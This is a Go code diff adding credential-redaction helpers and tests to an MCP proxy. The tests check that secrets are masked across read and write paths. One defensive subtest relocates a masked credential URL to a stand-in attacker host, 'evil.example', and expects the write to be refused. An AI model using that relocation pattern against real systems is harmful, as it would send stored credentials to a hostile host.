rule, +// shared by every read and every write door. + +// ghpToken is a GitHub personal access token in the shape the value-shaped +// detector recognises. It is what a NAME rule can never see: no field name, +// query parameter or header name says "this holds a credential". +const ghpToken = "ghp_1234567890abcdefghijABCDEFGHIJ123456" + +// ghpMasked is what the detector renders it as. +const ghpMasked = "ghp_…****" + +// ROUND 6, FINDING 1 — the value-shaped detector must run PER COMPONENT of a +// URL, not be gated on whether the whole URL string changed. +// +// The old guard skipped the detector for the entire string as soon as the NAME +// rule rewrote any one component, so a URL holding TWO credentials published +// the second one verbatim. +func TestLiveRedaction_URLDetectorRunsPerComponent(t *testing.T) { + cases := []struct { + name string + rawURL string + mustSurvive []string + }{ + { + name: "no name rule fires", + rawURL: "https://host/mcp?opaque=" + ghpToken, + mustSurvive: []string{"https://host/mcp", "opaque="}, + }, + { + name: "name rule masks a SIBLING query parameter", + rawURL: "https://host/mcp?token=abc123def456&opaque=" + ghpToken, + mustSurvive: []string{"https://host/mcp", "opaque="}, + }, + { + name: "name rule masks the userinfo password", + rawURL: "https://u:supersecretpw@host/mcp?opaque=" + ghpToken, + mustSurvive: []string{"@host/mcp", "opaque="}, + }, + { + name: "credential sits in the path", + rawURL: "https://host/" + ghpToken + "/mcp", + mustSurvive: []string{"https://host/"}, + }, + { + name: "credential sits in the fragment", + rawURL: "https://host/mcp#" + ghpToken, + mustSurvive: []string{"https://host/mcp"}, + }, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + got := LiveRedaction.Leaf("url", tc.rawURL) + assert.NotContains(t, got, ghpToken, "credential published verbatim: %s", got) + assert.Contains(t, got, ghpMasked, "credential should carry the detector's mask: %s", got) + for _, keep := range tc.mustSurvive { + assert.Contains(t, got, keep, + "#872 component-wise rendering must survive: %s", got) + } + }) + } +} + +// The same shape one leaf down: a connection string under a benign env name +// whose userinfo password the NAME rule masks, holding a second credential in +// its query string. +func TestLiveRedaction_EnvURLValueDetectsBesideTheNameMask(t *testing.T) { + got := LiveRedaction.EnvValue("DATABASE_URL", "postgres://u:supersecretpw@host/db?opaque="+ghpToken) + assert.NotContains(t, got, ghpToken, "credential published verbatim: %s", got) + assert.Contains(t, got, "@host/db", "#872 component-wise rendering must survive: %s", got) + assert.NotContains(t, got, "supersecretpw", "userinfo password must stay masked: %s", got) +} + +// And on a header value whose name rule fired on an embedded `token=` pair. +func TestLiveRedaction_HeaderDetectsBesideTheNameMask(t *testing.T) { + got := LiveRedaction.HeaderValue("X-Weird", "token=abc123def456 "+ghpToken) + assert.NotContains(t, got, ghpToken, "credential published verbatim: %s", got) +} + +// ROUND 6, FINDING 2 — RedactServerSecretFields (the REST + SSE door) must +// apply the SAME rule as the MCP door, value-shaped detector included. +func TestRedactServerSecretFields_AppliesTheSharedLeafRule(t *testing.T) { + srv := &contracts.Server{ + Name: "s", + URL: "https://host/mcp?opaque=" + ghpToken, + Env: map[string]string{"BENIGN": ghpToken}, + Headers: map[string]string{"X-Weird": ghpToken}, + } + RedactServerSecretFields(srv) + + assert.Equal(t, LiveRedaction.EnvValue("BENIGN", ghpToken), srv.Env["BENIGN"], + "REST env must render exactly what the MCP door renders") + assert.Equal(t, LiveRedaction.HeaderValue("X-Weird", ghpToken), srv.Headers["X-Weird"], + "REST headers must render exactly what the MCP door renders") + assert.Equal(t, LiveRedaction.Leaf("url", "https://host/mcp?opaque="+ghpToken), srv.URL, + "REST url must render exactly what the MCP door renders") + + for _, got := range []string{srv.Env["BENIGN"], srv.Headers["X-Weird"], srv.URL} { + assert.NotContains(t, got, ghpToken, "credential published verbatim: %s", got) + } +} + +// ROUND 6, FINDING 3 — oauth.scopes is masked on the MCP door; the REST/SSE +// door must not answer differently for the same field. +func TestRedactServerSecretFields_MasksOAuthScopes(t *testing.T) { + srv := &contracts.Server{ + Name: "s", + OAuth: &contracts.OAuthConfig{ + Scopes: []string{"read:user", ghpToken}, + ExtraParams: map[string]string{"resource": "https://api/x"}, + }, + } + RedactServerSecretFields(srv) + + require.Len(t, srv.OAuth.Scopes, 2) + assert.Equal(t, "read:user", srv.OAuth.Scopes[0], "an ordinary scope stays readable") + assert.NotContains(t, srv.OAuth.Scopes[1], ghpToken, "credential-shaped scope published verbatim") + assert.True(t, strings.Contains(srv.OAuth.Scopes[1], ghpMasked), + "credential-shaped scope should carry the detector's mask: %s", srv.OAuth.Scopes[1]) +} + +// ROUND 6, GUIDING PRINCIPLE — the per-field decision is made ONCE, and a field +// added to either server struct cannot silently opt out of it. +// +// The guard itself now lives in round7_derived_net_test.go: round 7 finding 4 +// found THIS version failing open, because it reflected over TOP-LEVEL fields +// only and every credential-bearing leaf that round found lives one level down. +// See TestServerFieldMaskDecisions_CoverEveryNestedLeaf and +// TestServerFieldMaskDecisions_HaveNoStaleNestedEntries. + +func jsonFieldName(field reflect.StructField) string { + tag := field.Tag.Get("json") + if tag == "" { + return "" + } + name, _, _ := strings.Cut(tag, ",") + return name +} + +// ROUND 6, FINDING 2's OTHER HALF — masking a value on the REST read door is +// only safe if the REST write door can revert exactly that rendering. These +// pin the round trip at the rule level; internal/httpapi's +// round6_write_parity_test.go pins it through the actual handler. +func TestUnmaskLive_RevertsWhatTheLiveDoorRendered(t *testing.T) { + t.Run("env", func(t *testing.T) { + stored := map[string]string{"BENIGN": ghpToken} + echoed := map[string]string{"BENIGN": LiveRedaction.EnvValue("BENIGN", ghpToken)} + require.NotEqual(t, stored, echoed, "precondition: the read door masks it") + assert.Equal(t, stored, UnmaskLiveEnvValues(echoed, stored)) + }) + + t.Run("headers", func(t *testing.T) { + stored := map[string]string{"X-Weird": ghpToken} + echoed := map[string]string{"X-Weird": LiveRedaction.HeaderValue("X-Weird", ghpToken)} + require.NotEqual(t, stored, echoed, "precondition: the read door masks it") + assert.Equal(t, stored, UnmaskLiveHeaders(echoed, stored)) + }) + + t.Run("url, unedited", func(t *testing.T) { + stored := "https://host/mcp?opaque=" + ghpToken + got, err := UnmaskLiveURL(LiveRedaction.URLValue(stored), stored) + require.NoError(t, err) + assert.Equal(t, stored, got) + }) + + t.Run("url, edited elsewhere — bound per parameter", func(t *testing.T) { + stored := "https://host/mcp?opaque=" + ghpToken + edited := strings.Replace(LiveRedaction.URLValue(stored), "/mcp?", "/mcp/v2?", 1) + got, err := UnmaskLiveURL(edited, stored) + require.NoError(t, err) + assert.Equal(t, "https://host/mcp/v2?opaque="+ghpToken, got) + }) + + t.Run("url, moved to another host — refused, never relocated", func(t *testing.T) { + stored := "https://host/mcp?opaque=" + ghpToken + moved := strings.Replace(LiveRedaction.URLValue(stored), "https://host/", "https://evil.example/", 1) + _, err := UnmaskLiveURL(moved, stored) + require.Error(t, err, "a mask that cannot be bound must be refused, not written through") + }) + + t.Run("a mask relocated to a key it was never read from stays masked", func(t *testing.T) { + stored := map[string]string{"BENIGN": ghpToken} + echoed := map[string]string{"OTHER": LiveRedaction.EnvValue("BENIGN", ghpToken)} + got := UnmaskLiveEnvValues(echoed, stored) + assert.NotEqual(t, ghpToken, got["OTHER"], "a secret must never move to another key") + require.Error(t, CheckServerWriteMasks("server.", map[string]interface{}{"env": got}), + "and the residual net must then refuse the write") + }) +} diff --git a/internal/oauth/round7_derived_net_test.go b/internal/oauth/round7_derived_net_test.go new file mode 100644 index 000000000..4433bf5fa --- /dev/null +++ b/internal/oauth/round7_derived_net_test.go @@ -0,0 +1,309 @@ +package oauth + +import ( + "reflect" + "strings" + "testing" + "time" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/contracts" +) + +// Issue #1148, round 7. Rounds 4, 5 and 6 each found the GUARD failing open +// rather than the code it guards: a hand-maintained marker list that did not +// know about one of this package's own mask renderings, a field list that +// covered only the fields somebody remembered, and a reflection guard that +// walked only the TOP level of a struct whose credentials live two levels down. +// +// The answers here are structural: the marker set is DERIVED from the renderers +// (maskRenderings), and the decision guard RECURSES. + +// ROUND 7, FINDING 1 — every rendering this package produces for a masked +// secret must be recognised by the fail-closed net. +// +// `***REDACTED***` (RedactSensitiveData) was a live read-door rendering that +// MaskMarkers did not list, so CheckServerWriteMasks accepted an echo of it and +// persisted the mask over the real credential. +func TestMaskMarkers_CoverEveryRendering(t *testing.T) { + require.NotEmpty(t, maskRenderings, "the renderer registry must not be empty") + for _, r := range maskRenderings { + t.Run(r.name, func(t *testing.T) { + got := r.render(r.probe) + require.NotEqual(t, r.probe, got, + "probe %q is not masked by %s — the registry entry proves nothing", r.probe, r.name) + assert.Contains(t, got, r.marker, + "%s no longer renders its declared marker %q: %s", r.name, r.marker, got) + assert.True(t, ContainsMaskMarker(got), + "the fail-closed net does not recognise %s's rendering %q — "+ + "MaskMarkers must be derived from the renderers, not maintained beside them", + r.name, got) + }) + } +} + +// And the net that matters: a write door must REFUSE any of those renderings, +// wherever in the payload it appears. +func TestCheckServerWriteMasks_RefusesEveryRendering(t *testing.T) { + for _, r := range maskRenderings { + t.Run(r.name, func(t *testing.T) { + payload := map[string]interface{}{ + "isolation": map[string]interface{}{ + "extra_args": []interface{}{"-e", r.render(r.probe)}, + }, + } + require.Error(t, CheckServerWriteMasks("server.", payload), + "an echoed %s rendering was ACCEPTED and would be persisted over the credential", r.name) + }) + } +} + +// The end-to-end shape the reviewer reproduced: read the isolation block off a +// live read door, echo it straight back at a write door. +func TestIsolationExtraArgs_MaskEchoIsRefused(t *testing.T) { + stored := &config.ServerConfig{ + Name: "srv", + Command: "uvx", + Isolation: &config.IsolationConfig{ExtraArgs: []string{"-e", "API_KEY=" + ghpToken}}, + } + view, ok := NormalizeForRedaction(stored).(map[string]interface{}) + require.True(t, ok) + redacted, ok := LiveRedaction.Value("", view).(map[string]interface{}) + require.True(t, ok) + + iso, ok := redacted["isolation"].(map[string]interface{}) + require.True(t, ok, "isolation must survive the walk: %#v", redacted) + args, ok := iso["extra_args"].([]interface{}) + require.True(t, ok) + for _, a := range args { + assert.NotContains(t, a.(string), ghpToken, "the read door published the credential: %v", args) + } + + require.Error(t, CheckServerWriteMasks("server.", redacted), + "echoing the redacted isolation block back must be refused, not persisted") +} + +// ROUND 7, FINDING 2 — RedactServerSecretFields (the REST + SSE door) skipped +// server.Isolation entirely, so `isolation.extra_args` was masked on the MCP +// door and published in the clear on GET /api/v1/servers and every +// /events servers.changed payload. +func TestRedactServerSecretFields_MasksIsolation(t *testing.T) { + srv := &contracts.Server{ + Name: "s", + Isolation: &contracts.IsolationConfig{ExtraArgs: []string{"-e", "API_KEY=" + ghpToken}}, + IsolationDefaults: &contracts.IsolationDefaults{ExtraArgs: []string{"-e", "API_KEY=" + ghpToken}}, + } + RedactServerSecretFields(srv) + + for _, got := range srv.Isolation.ExtraArgs { + assert.NotContains(t, got, ghpToken, "isolation.extra_args published verbatim: %v", srv.Isolation.ExtraArgs) + } + for _, got := range srv.IsolationDefaults.ExtraArgs { + assert.NotContains(t, got, ghpToken, + "isolation_defaults.extra_args published verbatim: %v", srv.IsolationDefaults.ExtraArgs) + } +} + +// Redacting a nested block must never write back through a slice the payload +// still shares with the stored config. encoding/json reuses an existing slice's +// backing array, so decoding the mask straight over the projection would +// OVERWRITE the live credential with its own mask — the #1142/#1146 corruption +// this branch exists to prevent, reintroduced by the act of rendering a read. +func TestRedactServerSecretFields_DoesNotWriteBackThroughASharedSlice(t *testing.T) { + shared := []string{"-e", "API_KEY=" + ghpToken} + srv := &contracts.Server{ + Name: "s", + Isolation: &contracts.IsolationConfig{ExtraArgs: shared}, + IsolationDefaults: &contracts.IsolationDefaults{ExtraArgs: shared}, + } + RedactServerSecretFields(srv) + + assert.Equal(t, []string{"-e", "API_KEY=" + ghpToken}, shared, + "redacting a read payload must not mutate the slice it was built from") + assert.NotContains(t, srv.Isolation.ExtraArgs[1], ghpToken) +} + +// The general form of finding 2, derived from the decision table rather than +// from a list of fields somebody remembered: fill EVERY text-carrying leaf of +// contracts.Server with a credential, redact, and require that the only places +// it survives are the ones explicitly recorded as not-secret. +func TestRedactServerSecretFields_MasksEverySecretBearingLeaf(t *testing.T) { + srv := &contracts.Server{} + fillTextLeaves(reflect.ValueOf(srv).Elem(), ghpToken) + RedactServerSecretFields(srv) + + for _, path := range findTokenPaths(t, srv, ghpToken) { + decision := decisionForPath(path) + assert.Equal(t, MaskDecisionNotSecret, decision, + "contracts.Server.%s published the credential verbatim, but its decision is %q — "+ + "a field that can carry a secret must be masked on this door too", path, decision) + } +} + +// ROUND 7, FINDING 4 — the decision guard walked only TOP-LEVEL fields, so +// every credential-bearing leaf that lives in a nested struct (isolation, +// isolation_defaults, oauth's own leaves) inherited "no decision" silently. +func TestServerFieldMaskDecisions_CoverEveryNestedLeaf(t *testing.T) { + for _, subject := range serverWireTypes() { + t.Run(subject.name, func(t *testing.T) { + for _, path := range textLeafPaths(subject.typ) { + _, ok := ServerFieldMaskDecisions[path] + require.True(t, ok, + "%s carries text at %q with no entry in oauth.ServerFieldMaskDecisions.\n"+ + "Every credential-bearing leaf — nested ones included — needs an answer to: when a client "+ + "echoes this field's mask back on a write, is it REVERTED (bound to which key?) or REFUSED?", + subject.name, path) + } + }) + } +} + +// The guard is only worth having if it actually fails on a nested addition. +// This is the "temporarily add a nested field" check the reviewer asked for, +// expressed as a permanent test: a synthetic struct with a nested credential +// leaf must be reported as needing a decision. +func TestTextLeafPaths_ReachesNestedStructsSlicesAndMaps(t *testing.T) { + type deep struct { + Token string `json:"token"` + } + type mid struct { + Deep *deep `json:"deep"` + List []deep `json:"list"` + ByName map[string]deep `json:"by_name"` + Strings []string `json:"strings"` + StrByKey map[string]string `json:"str_by_key"` + Count int `json:"count"` + When time.Time `json:"when"` + } + type root struct { + Mid mid `json:"mid"` + Toggle bool `json:"toggle"` + } + + got := textLeafPaths(reflect.TypeOf(root{})) + for _, want := range []string{ + "mid.deep.token", + "mid.list[].token", + "mid.by_name{}.token", + "mid.strings", + "mid.str_by_key", + } { + assert.Contains(t, got, want, "the walk must reach %s", want) + } + for _, notWanted := range []string{"toggle", "mid.count", "mid.when"} { + assert.NotContains(t, got, notWanted, + "%s cannot carry text, so demanding a decision for it is noise", notWanted) + } +} + +// A table entry that names nothing on the wire reads as a decision being +// enforced somewhere when it is not. +func TestServerFieldMaskDecisions_HaveNoStaleNestedEntries(t *testing.T) { + onTheWire := map[string]bool{} + for _, subject := range serverWireTypes() { + for _, path := range allWirePaths(subject.typ) { + onTheWire[path] = true + } + } + for name := range ServerFieldMaskDecisions { + assert.True(t, onTheWire[name], + "oauth.ServerFieldMaskDecisions has a decision for %q, which names no field of "+ + "config.ServerConfig or contracts.Server", name) + } +} + +// decisionForPath resolves the decision for a leaf, falling back to its nearest +// recorded ancestor so a container marked not-secret answers for its leaves. +func decisionForPath(path string) MaskDecision { + for { + if d, ok := ServerFieldMaskDecisions[path]; ok { + return d + } + cut := strings.LastIndexAny(path, ".[{") + if cut < 0 { + return MaskDecision("") + } + path = path[:cut] + } +} + +// fillTextLeaves writes `token` into every string leaf reachable from v, +// allocating pointers, one-element slices and one-entry maps on the way. +func fillTextLeaves(v reflect.Value, token string) { + switch v.Kind() { + case reflect.String: + v.SetString(token) + case reflect.Ptr: + if v.Type().Elem() == reflect.TypeOf(time.Time{}) { + return + } + if !carriesText(v.Type().Elem()) { + return + } + if v.IsNil() { + v.Set(reflect.New(v.Type().Elem())) + } + fillTextLeaves(v.Elem(), token) + case reflect.Slice: + if !carriesText(v.Type().Elem()) { + return + } + elem := reflect.New(v.Type().Elem()).Elem() + fillTextLeaves(elem, token) + v.Set(reflect.Append(reflect.MakeSlice(v.Type(), 0, 1), elem)) + case reflect.Map: + if !carriesText(v.Type().Elem()) { + return + } + elem := reflect.New(v.Type().Elem()).Elem() + fillTextLeaves(elem, token) + m := reflect.MakeMap(v.Type()) + m.SetMapIndex(reflect.ValueOf("BENIGN").Convert(v.Type().Key()), elem) + v.Set(m) + case reflect.Struct: + if v.Type() == reflect.TypeOf(time.Time{}) { + return + } + for i := 0; i < v.NumField(); i++ { + if !v.Type().Field(i).IsExported() { + continue + } + if name := jsonFieldName(v.Type().Field(i)); name == "" || name == "-" { + continue + } + fillTextLeaves(v.Field(i), token) + } + } +} + +// findTokenPaths returns the dotted wire paths where `token` still appears. +func findTokenPaths(t *testing.T, v interface{}, token string) []string { + t.Helper() + var out []string + var walk func(path string, node interface{}) + walk = func(path string, node interface{}) { + switch typed := node.(type) { + case map[string]interface{}: + for k, val := range typed { + child := k + if path != "" { + child = path + "." + k + } + walk(child, val) + } + case []interface{}: + for _, val := range typed { + walk(path, val) + } + case string: + if strings.Contains(typed, token) { + out = append(out, path) + } + } + } + walk("", NormalizeForRedaction(v)) + return out +} diff --git a/internal/oauth/round7_walk_test.go b/internal/oauth/round7_walk_test.go new file mode 100644 index 000000000..8f4403968 --- /dev/null +++ b/internal/oauth/round7_walk_test.go @@ -0,0 +1,207 @@ +package oauth + +import ( + "reflect" + "time" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/contracts" +) + +// Issue #1148, round 7 finding 4. The round-6 guard reflected over the TOP +// LEVEL of config.ServerConfig / contracts.Server only, so every defect that +// round found — isolation.extra_args published in the clear on two doors, its +// mask accepted on a third — lived in a NESTED field the guard never looked at. +// +// These walkers are the recursive replacement. They are the single definition +// of "what is on the wire under a server payload" that both the coverage guard +// and the stale-entry guard read, so the two cannot disagree about the shape +// they are enforcing. + +var timeType = reflect.TypeOf(time.Time{}) + +// serverWireTypes are the two structs a server is published as. +func serverWireTypes() []struct { + name string + typ reflect.Type +} { + return []struct { + name string + typ reflect.Type + }{ + {"config.ServerConfig", reflect.TypeOf(config.ServerConfig{})}, + {"contracts.Server", reflect.TypeOf(contracts.Server{})}, + } +} + +func deref(t reflect.Type) reflect.Type { + for t.Kind() == reflect.Ptr { + t = t.Elem() + } + return t +} + +// carriesText reports whether a type can carry free text — and therefore a +// credential — anywhere inside it. +// +// This is DERIVED from the type rather than asserted by a human: a bool, an +// int, a time.Time or a duration structurally cannot hold a token, so demanding +// a redaction decision for one is noise. Everything that can hold one must have +// an answer. +func carriesText(t reflect.Type) bool { + return carriesTextSeen(t, map[reflect.Type]bool{}) +} + +func carriesTextSeen(t reflect.Type, seen map[reflect.Type]bool) bool { + t = deref(t) + if seen[t] { + return false + } + seen[t] = true + switch t.Kind() { + case reflect.String, reflect.Interface: + return true + case reflect.Slice, reflect.Array: + return carriesTextSeen(t.Elem(), seen) + case reflect.Map: + return carriesTextSeen(t.Elem(), seen) + case reflect.Struct: + if t == timeType { + return false + } + for i := 0; i < t.NumField(); i++ { + f := t.Field(i) + if !f.IsExported() { + continue + } + if name := jsonFieldName(f); name == "" || name == "-" { + continue + } + if carriesTextSeen(f.Type, seen) { + return true + } + } + return false + default: + return false + } +} + +func joinPath(parent, field string) string { + if parent == "" { + return field + } + return parent + "." + field +} + +// textLeafPaths returns the dotted wire path of every leaf under t that can +// carry text: `field`, `field.nested`, `slice[].nested`, `map{}.nested`. A +// []string or map[string]string is itself a leaf — the redaction rules act on +// the whole collection, keyed by its own name. +func textLeafPaths(t reflect.Type) []string { + var out []string + var walk func(path string, t reflect.Type, seen map[reflect.Type]bool) + walk = func(path string, t reflect.Type, seen map[reflect.Type]bool) { + t = deref(t) + if seen[t] { + return + } + switch t.Kind() { + case reflect.String, reflect.Interface: + out = append(out, path) + case reflect.Slice, reflect.Array: + elem := deref(t.Elem()) + if elem.Kind() == reflect.String { + out = append(out, path) + return + } + if !carriesText(elem) { + return + } + walk(path+"[]", elem, childSeen(seen, t)) + case reflect.Map: + elem := deref(t.Elem()) + if elem.Kind() == reflect.String { + out = append(out, path) + return + } + if !carriesText(elem) { + return + } + walk(path+"{}", elem, childSeen(seen, t)) + case reflect.Struct: + if t == timeType { + return + } + for i := 0; i < t.NumField(); i++ { + f := t.Field(i) + if !f.IsExported() { + continue + } + name := jsonFieldName(f) + if name == "" || name == "-" { + continue + } + if !carriesText(f.Type) { + continue + } + walk(joinPath(path, name), f.Type, childSeen(seen, t)) + } + } + } + walk("", t, map[reflect.Type]bool{}) + return out +} + +// allWirePaths returns every path a server payload can carry, text or not — +// the universe the stale-entry guard checks table keys against. +func allWirePaths(t reflect.Type) []string { + var out []string + var walk func(path string, t reflect.Type, seen map[reflect.Type]bool) + walk = func(path string, t reflect.Type, seen map[reflect.Type]bool) { + t = deref(t) + if seen[t] { + return + } + switch t.Kind() { + case reflect.Slice, reflect.Array: + elem := deref(t.Elem()) + if elem.Kind() == reflect.Struct && elem != timeType { + walk(path+"[]", elem, childSeen(seen, t)) + } + case reflect.Map: + elem := deref(t.Elem()) + if elem.Kind() == reflect.Struct && elem != timeType { + walk(path+"{}", elem, childSeen(seen, t)) + } + case reflect.Struct: + if t == timeType { + return + } + for i := 0; i < t.NumField(); i++ { + f := t.Field(i) + if !f.IsExported() { + continue + } + name := jsonFieldName(f) + if name == "" || name == "-" { + continue + } + child := joinPath(path, name) + out = append(out, child) + walk(child, f.Type, childSeen(seen, t)) + } + } + } + walk("", t, map[reflect.Type]bool{}) + return out +} + +func childSeen(seen map[reflect.Type]bool, t reflect.Type) map[reflect.Type]bool { + out := make(map[reflect.Type]bool, len(seen)+1) + for k, v := range seen { + out[k] = v + } + out[deref(t)] = true + return out +} diff --git a/internal/oauth/serverconfigfields.go b/internal/oauth/serverconfigfields.go new file mode 100644 index 000000000..66551f009 --- /dev/null +++ b/internal/oauth/serverconfigfields.go @@ -0,0 +1,113 @@ +package oauth + +import ( + "encoding/json" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" +) + +// Issue #1148: the *config.ServerConfig analogue of RedactServerSecretFields. +// +// RedactServerSecretFields covers contracts.Server — the REST/SSE projection. +// But three doors hand out the CONFIG STRUCT ITSELF: the MCP +// `upstream_servers list` / `quarantine_security list_quarantined` payloads, +// and (server edition) `GET|POST /api/v1/user/servers…`, whose ServerResponse +// EMBEDS *config.ServerConfig. The MCP door grew its own copy of this logic in +// internal/server; the server-edition door had none at all, so every +// authenticated user of a deployment was handed the ADMIN-configured shared +// upstreams' `headers` (Authorization, X-API-Key), `env`, URL query +// credentials, `oauth.client_secret` and `auth_broker.client_secret` in the +// clear. +// +// So the rule lives here, once, beside the leaf rules and the walk — below +// internal/server, internal/httpapi and internal/serveredition in the import +// graph, which is the only place all three doors can reach. +// +// It is deliberately a WALK, not a field list. An allowlist encodes today's +// field set and silently leaks tomorrow's; that is the shape this issue has +// produced at every door. The config is marshalled through its own MarshalJSON +// and the resulting generic map is walked by the shared rules, so a field added +// to ServerConfig — or to a build-tagged block like `auth_broker`, whose fields +// this package cannot even name in the personal edition — is masked because the +// walk reaches it. +// +// The write-path answer for every field is recorded in +// ServerFieldMaskDecisions, and TestServerFieldMaskDecisions_CoverEveryNestedLeaf +// walks config.ServerConfig to enforce that every text-carrying leaf has one. + +// RedactedServerConfigView renders one server config as a generic JSON map with +// every secret-bearing leaf masked under the given policy. +// +// Pass LiveRedaction for an interactive read surface (it keeps MaskValue's +// `•••• ( chars)` rendering, which the write-path unmaskers +// recognise) and AuditRedaction for anything persisted. Returns nil for a nil +// config. +// +// The view must stay a MAP for a JSON-rendering caller: config.ServerConfig +// declares MarshalJSON/UnmarshalJSON and Go promotes those to any struct that +// embeds it, so an embedding wrapper silently drops its own fields on encode +// (see the warning on config.ServerConfig.UnmarshalJSON). +func RedactedServerConfigView(sc *config.ServerConfig, r Redaction) map[string]interface{} { + if sc == nil { + return nil + } + + normalized, ok := NormalizeForRedaction(sc).(map[string]interface{}) + if !ok { + // ServerConfig always marshals to an object; a failure here can only + // mean the encoder broke. Fail CLOSED — an empty view loses + // information, a raw struct loses secrets. + return map[string]interface{}{"name": sc.Name} + } + + redacted, ok := r.Value("", normalized).(map[string]interface{}) + if !ok { + return map[string]interface{}{"name": sc.Name} + } + return redacted +} + +// RedactedServerConfigViews renders a slice of server configs, skipping nils. +func RedactedServerConfigViews(servers []*config.ServerConfig, r Redaction) []map[string]interface{} { + out := make([]map[string]interface{}, 0, len(servers)) + for _, sc := range servers { + if sc == nil { + continue + } + out = append(out, RedactedServerConfigView(sc, r)) + } + return out +} + +// RedactServerConfigSecrets returns a masked COPY of sc under the LIVE policy, +// for a door that must hand back a *config.ServerConfig rather than a map (the +// server edition's ServerResponse embeds one). +// +// The input is never mutated and the result shares no map, slice or pointer +// with it: the masked view is decoded into a FRESH struct. That matters because +// the caller's config is typically the LIVE one — `h.sharedServers` is the +// admin's running configuration, and writing a mask through it would be the +// #1142/#1146 corruption with a whole deployment's upstreams as the blast +// radius. +// +// It FAILS CLOSED. If the masked view cannot be decoded back into a +// ServerConfig, the result carries the server's name and nothing else: a +// caller that loses fields is a bug report, a caller that publishes an +// unredacted credential is this issue. +// +// Returns nil for a nil config. +func RedactServerConfigSecrets(sc *config.ServerConfig) *config.ServerConfig { + if sc == nil { + return nil + } + view := RedactedServerConfigView(sc, LiveRedaction) + encoded, err := json.Marshal(view) + if err != nil { + return &config.ServerConfig{Name: sc.Name} + } + masked := &config.ServerConfig{} + if err := json.Unmarshal(encoded, masked); err != nil { + return &config.ServerConfig{Name: sc.Name} + } + return masked +} diff --git a/internal/oauth/serverconfigfields_test.go b/internal/oauth/serverconfigfields_test.go new file mode 100644 index 000000000..1dec03d61 --- /dev/null +++ b/internal/oauth/serverconfigfields_test.go @@ -0,0 +1,232 @@ +package oauth + +import ( + "reflect" + "testing" + "time" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/contracts" +) + +// Issue #1148: the *config.ServerConfig door. RedactServerConfigSecrets is what +// the server edition's `GET /api/v1/user/servers` hands an ordinary user for an +// ADMIN-configured shared upstream, so a leaf that escapes it is a +// cross-tenant credential disclosure. + +// The same general form as TestRedactServerSecretFields_MasksEverySecretBearingLeaf, +// derived from the decision table rather than from a list of fields somebody +// remembered: fill EVERY text-carrying leaf of config.ServerConfig with a +// credential, redact, and require that the only places it survives are the ones +// explicitly recorded as not-secret. +func TestRedactServerConfigSecrets_MasksEverySecretBearingLeaf(t *testing.T) { + sc := &config.ServerConfig{} + fillTextLeaves(reflect.ValueOf(sc).Elem(), ghpToken) + + masked := RedactServerConfigSecrets(sc) + require.NotNil(t, masked) + + for _, path := range findTokenPaths(t, masked, ghpToken) { + decision := decisionForPath(path) + assert.Equal(t, MaskDecisionNotSecret, decision, + "config.ServerConfig.%s published the credential verbatim, but its decision is %q — "+ + "a field that can carry a secret must be masked on this door too", path, decision) + } +} + +// The named shapes, spelled out, so a regression reads as the credential it is +// rather than as a reflection walk. +func TestRedactServerConfigSecrets_MasksTheNamedShapes(t *testing.T) { + sc := secretBearingServerConfig() + + masked := RedactServerConfigSecrets(sc) + require.NotNil(t, masked) + + assert.NotContains(t, masked.Headers["Authorization"], "hdrsecretvalue") + assert.NotContains(t, masked.Headers["X-Api-Key"], "apikeysecretvalue") + assert.NotContains(t, masked.Env["GITHUB_TOKEN"], "envsecretvalue") + assert.NotContains(t, masked.URL, "urlsecretvalue") + assert.NotContains(t, masked.OAuth.ClientSecret, "oauthsecretvalue") + for _, arg := range masked.Args { + assert.NotContains(t, arg, "argvsecretvalue") + } + for _, arg := range masked.Isolation.ExtraArgs { + assert.NotContains(t, arg, "isosecretvalue") + } + + // Still readable: the mask says WHICH credential is configured, it does not + // blank the payload. + assert.Equal(t, "https", mustParseScheme(t, masked.URL)) + assert.Contains(t, masked.Headers, "Authorization") + assert.Contains(t, masked.Env, "GITHUB_TOKEN") +} + +// The caller's config is typically the LIVE one (`h.sharedServers` is the +// admin's running configuration), so rendering a read response must neither +// mutate it nor hand back anything that still aliases it — writing a mask +// through a shared backing array is the #1142/#1146 corruption with a whole +// deployment as the blast radius. +func TestRedactServerConfigSecrets_LeavesTheInputUntouched(t *testing.T) { + sc := secretBearingServerConfig() + pristine := secretBearingServerConfig() + + masked := RedactServerConfigSecrets(sc) + require.NotNil(t, masked) + + assert.Equal(t, pristine, sc, "redacting a read payload mutated the config it was built from") + + // No shared backing storage: mutating the masked copy must not reach the + // original. + masked.Headers["Authorization"] = "rewritten" + masked.Env["GITHUB_TOKEN"] = "rewritten" + masked.Args[0] = "rewritten" + masked.Isolation.ExtraArgs[0] = "rewritten" + masked.OAuth.ClientSecret = "rewritten" + assert.Equal(t, pristine, sc, "the masked copy still aliases the live config") +} + +// RedactServerConfigSecrets decodes the masked view back into a ServerConfig, +// so a field that does not survive that round trip would silently vanish from +// the response. Pin the structural (non-secret) fields. +func TestRedactServerConfigSecrets_PreservesNonSecretFields(t *testing.T) { + autoApprove := true + exposePrompts := false + maxConcurrent := 7 + interval := config.Duration(90 * time.Second) + sc := &config.ServerConfig{ + Name: "shared-github", + Protocol: "http", + Command: "npx", + WorkingDir: "/srv/mcp", + URL: "https://api.github.com/mcp", + Enabled: true, + Quarantined: true, + TrustMode: string(config.TrustModeScan), + Shared: true, + Created: time.Date(2026, 1, 1, 0, 0, 0, 0, time.UTC), + Updated: time.Date(2026, 2, 2, 0, 0, 0, 0, time.UTC), + ReconnectOnUse: true, + AutoApproveToolChanges: &autoApprove, + ExposePrompts: &exposePrompts, + MaxConcurrentRequests: &maxConcurrent, + HealthCheckInterval: &interval, + LauncherWaitTimeout: config.Duration(45 * time.Second), + ToonOutput: "adaptive", + EnabledTools: []string{"create_issue"}, + SourceRegistryID: "official", + SourceRegistryProvenance: "official", + } + + masked := RedactServerConfigSecrets(sc) + require.NotNil(t, masked) + + assert.Equal(t, sc.Name, masked.Name) + assert.Equal(t, sc.Protocol, masked.Protocol) 